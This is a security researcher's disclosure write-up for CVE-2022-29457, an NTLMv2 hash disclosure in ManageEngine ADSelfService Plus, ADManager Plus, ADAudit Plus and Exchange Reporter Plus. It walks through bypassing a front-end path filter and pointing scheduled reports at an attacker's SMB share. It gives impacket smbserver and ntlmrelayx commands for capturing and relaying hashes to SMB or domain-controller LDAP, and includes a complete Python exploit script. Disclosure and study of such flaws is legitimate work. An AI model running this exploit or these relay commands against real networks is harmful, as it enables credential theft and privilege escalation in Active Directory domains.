UI
Search…
Multiple ManageEngine Applications Critical Information Disclosure Vulnerability
The NTLMv2 hash of the domain user or the computer accounts, can be obtained coercing the target server authenticates an arbitrary SMB server. (CVE-2022-29457)

Introduction

I have detected this vulnerability on the ADSelfService Plus Build 6118 first.
In most cases, ADSelfService Plus application is installed with high domain user privileges. For exploitation it doesn't matter where application is installed. The important point is that the application runs under which privileges (domain user or service).
When scheduling report, the ADSelfService application exports report files to a local or network path. If I specify a SMB server on the network , the server that hosts ADSelfService authenticates the SMB server to export file. The NTLMv2 hash of the domain user or the computer accounts, can be obtained while the authentication is conducting. Relaying the captured hash can cause a privilege escalation in the Active Directory environment.
I noticed that the "schedule report" functionality is inclued in the ADManager Plus, ADAudit Plus, Exchange Reporter Plus. These applications are impacted the same vulnerability.

Detecting the Vulnerability

There is a scheduling report functionality and the Operator user can schedule a report default. While the Operator user sends reports to an email, it is stored C:\ManageEngine\ADSelfService Plus\audit-data as default.
Scheduling Report
For the storage path value , there is a character restriction ( / : * ? < > | "). However, it is checked by the front-end only so it can be bypassed using the proxy. Also, the \ character is not restricted.
Character Restriction
If you set STORAGE_PATH parameter as /../../bypass or C:\bypass through Burp, the reports is extracted to C:\bypass directory.
Bypassing Character Restriction
Bypassing Character Restriction
The Operator user that doesn't have admin privileges can manipulate this scheduling report functionality. If the storage path is a remote file share, the server which hosts the ADSelfService application authenticates to the specified server for storing reports. When authenticating, the NTLMv2 hash is captured.
The user can set storage path as \\IP\share and the server authenticates to the remote address with privileges of the ADSelfService process. There are two options:
  • The ADSelfService runs as a service
  • The ADSelfService runs with domain user privileges
The NTLMv2 hash of the computer account can be captured for the first option and the NTLMv2 hash of the domain user can be captured for the second. After the capturing the hash value, it can be relayed to other servers which are SMB singing or LDAP signing (for DC) is disabled.
If you capture the NTLMv2 hash of computer account, relay it to a server that the computer account is added as a local admin user.
If the ADSelfService runs on the DC as a service, you can capture the NTLMv2 hash of the Domain Controller account, relay it to the another Domain Controller through LDAP and gain high privileges.

Exploitation

When the ADSelfService runs with domain user privileges (the user has high privileges in most cases):

The ADSelfService runs with Domain Admin user privileges for my scenario. However, it is not a requirement for exploitation.
Set up a SMB Server
1
python tools/impacket/examples/smbserver.py share .
Copied!
Login the ADSelfService application as operator user. Then create schedule report and set the store path as \\smb-server\share
Setting Storage Path
Capture and try cracking the NTLMv2 hash.
Capturing NTLMv2 Hash
As a more exploitable scenario, the captured hash can be relayed to another computer which SMB signing is disabled using ntlmrelayx .
The SMB Signing is disabled default, if the host is not a Domain Controller.
If the compromised user has sufficient privileges, dumping the NT hash of local users and command execution on the remote machine are possible.
1
python3 ntlmrelayx.py -sbm2support -t smb://smb-server
Copied!
SMB Relaying
As another option, the captured hash can be relayed to another Domain Controller.
1
python3 ntlmrelayx.py -t ldaps://DC2
Copied!

When the ADSelfService runs as a service

If the ADSelfService runs as a service on the Domain Controller. Exploiting this vulnerability, capture the hash of the Domain Controller account and relay it to another one.
From SMB to LDAP will only be possible if the target is vulnerable to CVE-2019-1040 or CVE-2019-1166.
Capturing Computer Account Hash
1
//for relaying
2
python3 ntlmrelayx.py -t ldaps://DC2
Copied!
After setting ntlmrelayx, login the ADSelfService application as operator user. Then create schedule report and set the store path as \\smb-server\share
Since the report is generated every five minutes, the DC authenticates to SMB server after five minutes.
The exploit:
1
# Exploit Title: ManageEngine ADSelfService Plus Build < 6121 - The NTLMv2 Hash Disclosure
2
# Exploit Author: Metin Yunus Kandemir
3
# Vendor Homepage: https://www.manageengine.com/
4
# Software Link: https://www.manageengine.com/products/self-service-password/download.html
5
# Details: https://docs.unsafe-inline.com/0day/multiple-manageengine-applications-critical-information-disclosure-vulnerability
6
# Version: ADSelfService Plus Build < 6121
7
# Tested against: Build 6118
8
# CVE: CVE-2022-29457
9
10
# !/usr/bin/python3
11
import argparse
12
import requests
13
import urllib3
14
import random
15
import sys
16
17
"""
18
1-
19
a)Set up SMB server to capture NTMLv2 hash.
20
python3 smbserver.py share . -smb2support
21
22
b)For relaying to SMB:
23
python3 ntlmrelayx.py -smb2support -t smb://TARGET
24
25
c)For relaying to LDAP:
26
python3 ntlmrelayx.py -t ldaps://TARGET
27
28
2- Fire up the exploit.
29
You will obtain the NTLMv2 hash of user/computer account that runs the ADSelfService in five minutes.
30
"""
31
32
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
33
34
def get_args():
35
parser = argparse.ArgumentParser(
36
epilog="Example: exploit.py -t https://Target/ -l Listener-IP -a adselfservice -d unsafe.local -u operator1 -p operator1")
37
parser.add_argument('-d', '--domain', required=True, action='store', help='DNS name of the target domain. ')
38
parser.add_argument('-a', '--auth', required=True, action='store', help='If you have credentials of the application user, type adselfservice. If you have credentials of the domain user, type domain')
39
parser.add_argument('-u', '--user', required=True, action='store')
40
parser.add_argument('-p', '--password', required=True, action='store')
41
parser.add_argument('-t', '--target', required=True, action='store', help='Target url')
42
parser.add_argument('-l', '--listener', required=True, action='store', help='Listener IP to capture NTLMv2 hash')
43
args = parser.parse_args()
44
return args
45
46
47
def scheduler(domain, auth, target, listener, user, password):
48
try:
49
with requests.Session() as s:
50
gUrl = target
51
getCsrf = s.get(url=gUrl, allow_redirects=False, verify=False)
52
csrf = getCsrf.cookies['_zcsr_tmp']
53
print("[*] Csrf token: %s" % getCsrf.cookies['_zcsr_tmp'])
54
55
if auth.lower() == 'adselfservice':
56
auth = "ADSelfService Plus Authentication"
57
data = {
58
"loginName": user,
59
"domainName": auth,
60
"j_username": user,
61
"j_password": password,
62
"AUTHRULE_NAME": "ADAuthenticator",
63
"adscsrf": [csrf, csrf]
64
}
65
66
#Login
67
url = target + "j_security_check"
68
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0"}
69
req = s.post(url, data=data, headers=headers, allow_redirects=True, verify=False)
70
#Auth Check
71
url2 = target + "webclient/index.html"
72
req2 = s.get(url2, headers=headers, allow_redirects=False, verify=False)
73
if req2.status_code == 200:
74
print("[+] Authentication is successful.")
75
elif req2.status_code == 302:
76
print("[-] Login failed.")
77
sys.exit(1)
78
else:
79
print("[-] Something went wrong")
80
sys.exit(1)
81
82
dn = domain.split(".")
83
r1 = random.randint(1, 1000)
84
85
surl = target + 'ServletAPI/Reports/saveReportScheduler'
86
data = {
87
'SCHEDULE_ID':'0',
88
'ADMIN_STATUS':'3',
89
'SCHEDULE_NAME': 'enrollment' + str(r1),
90
'DOMAINS': '["'+ domain +'"]',
91
'DOMAIN_PROPS': '{"'+ domain +'":{"OBJECT_GUID":"{*}","DISTINGUISHED_NAME":"DC='+ dn[0] +',DC='+ dn[1] +'","DOMAIN_SELECTED_OUS_GROUPS":{"ou":[{"OBJECT_GUID":"{*}","DISTINGUISHED_NAME":"DC='+ dn[0] +',DC='+ dn[1] +'","NAME":"'+ domain +'"}]}}}',
92
'SELECTED_REPORTS': '104,105',
93
'SELECTED_REPORT_LIST': '[{"REPORT_CATEGORY_ID":"3","REPORT_LIST":[{"CATEGORY_ID":"3","REPORT_NAME":"adssp.reports.enroll_rep.enroll.heading","IS_EDIT":false,"SCHEDULE_ELEMENTS":[],"REPORT_ID":"104"},{"CATEGORY_ID":"3","REPORT_NAME":"adssp.common.text.non_enrolled_users","IS_EDIT":true,"SCHEDULE_ELEMENTS":[{"DEFAULT_VALUE":false,"size":"1","ELEMENT_VALUE":false,"uiText":"adssp_reports_enroll_rep_non_enroll_show_notified","name":"SHOW_NOTIFIED","id":"SHOW_NOTIFIED","TYPE":"checkbox","class":"grayfont fntFamily fntSize"}],"REPORT_ID":"105"}],"REPORT_CATEGORY_NAME":"adssp.xml.reportscategory.enrollment_reports"}]',
94
'SCHEDULE_TYPE': 'hourly',
95
'TIME_OF_DAY': '0',
96
'MINS_OF_HOUR': '5',
97
'EMAIL_ID': user +'@'+ domain,
98
'NOTIFY_ADMIN': 'true',
99
'NOTIFY_MANAGER': 'false',
100
'STORAGE_PATH': '\\\\' + listener + '\\share',
101
'FILE_FORMAT': 'HTML',
102
'ATTACHMENT_TYPE': 'FILE',
103
'ADMIN_MAIL_PRIORITY': 'Medium',
104
'ADMIN_MAIL_SUBJECT': 'adssp.reports.schedule_reports.mail_settings_sub',
105
'ADMIN_MAIL_CONTENT': 'adssp.reports.schedule_reports.mail_settings_msg_html',
106
'MANAGER_FILE_FORMAT': 'HTML',
107
'MANAGER_ATTACHMENT_TYPE': 'FILE',
108
'MANAGER_MAIL_SUBJECT': 'adssp.reports.schedule_reports.mail_settings_mgr_sub',
109
'MANAGER_MAIL_CONTENT': 'adssp.reports.schedule_reports.mail_settings_mgr_msg_html',
110
'adscsrf': csrf
111
}
112
sch = s.post(surl, data=data, headers=headers, allow_redirects=False, verify=False)
113
if 'adssp.reports.schedule_reports.storage_path.unc_storage_path' in sch.text:
114
print('[-] The target is patched!')
115
sys.exit(1)
116
if sch.status_code == 200:
117
print("[+] The report is scheduled. The NTLMv2 hash will be captured in five minutes!")
118
else:
119
print("[-] Something went wrong. Please, try it manually!")
120
sys.exit(1)
121
except:
122
print('[-] Connection error!')
123
124
def main():
125
arg = get_args()
126
domain = arg.domain
127
auth = arg.auth
128
user = arg.user
129
password = arg.password
130
target = arg.target
131
listener = arg.listener
132
scheduler(domain, auth, target, listener, user, password)
133
134
135
if __name__ == "__main__":
136
main()
137
138
Copied!

Other ManageEngine Applications

ADManagerPlus Build 7131, ADAuditPlus Build 7060, Exchange Reporter Plus Build 5701 are impacted same NTLMv2 hash information disclosure vulnerability.
There are too many user role types in the applications. The scheduling report permission is enough to exploit the vulnerability. If a technician user has scheduling report privilege, he can obtain the NTLMv2 hash of user that runs applications. If applications are installed as a service, the NTLMv2 hash of computer account can be obtained.
The technician user must have the following permissions on the ADManagerPlus:
Required Privileges for Exploiting ADManagerPlus
The technician user must have the following permissions on the ADAuditPlus:
Required Privileges for Exploiting ADAuditPlus
The technician user must have the following permissions on the Exchange Reporter Plus:
Required Privileges for Exploiting Exchange Reporter Plus

For capturing the NTLMv2 hash:

1
// set up SMB server first
2
python tools/impacket/examples/smbserver.py share .
Copied!
Login the application technician user. Then create schedule report and set the store path as \\smb-server\share
When the reports are generated, the hash is obtained.

The Patch

The vulnerability has been fixed in ADSelfService Build 6121. You can see the release notes.
I take a look at source code after the patch. If you are not a admin user and the storage path starts with \\ . You will be blocked with adssp.reports.schedule_reports.storage_path.unc_storage_path code.
The Patch
The Patch
If you are an admin user, you can still obtain the NTLMv2 hash.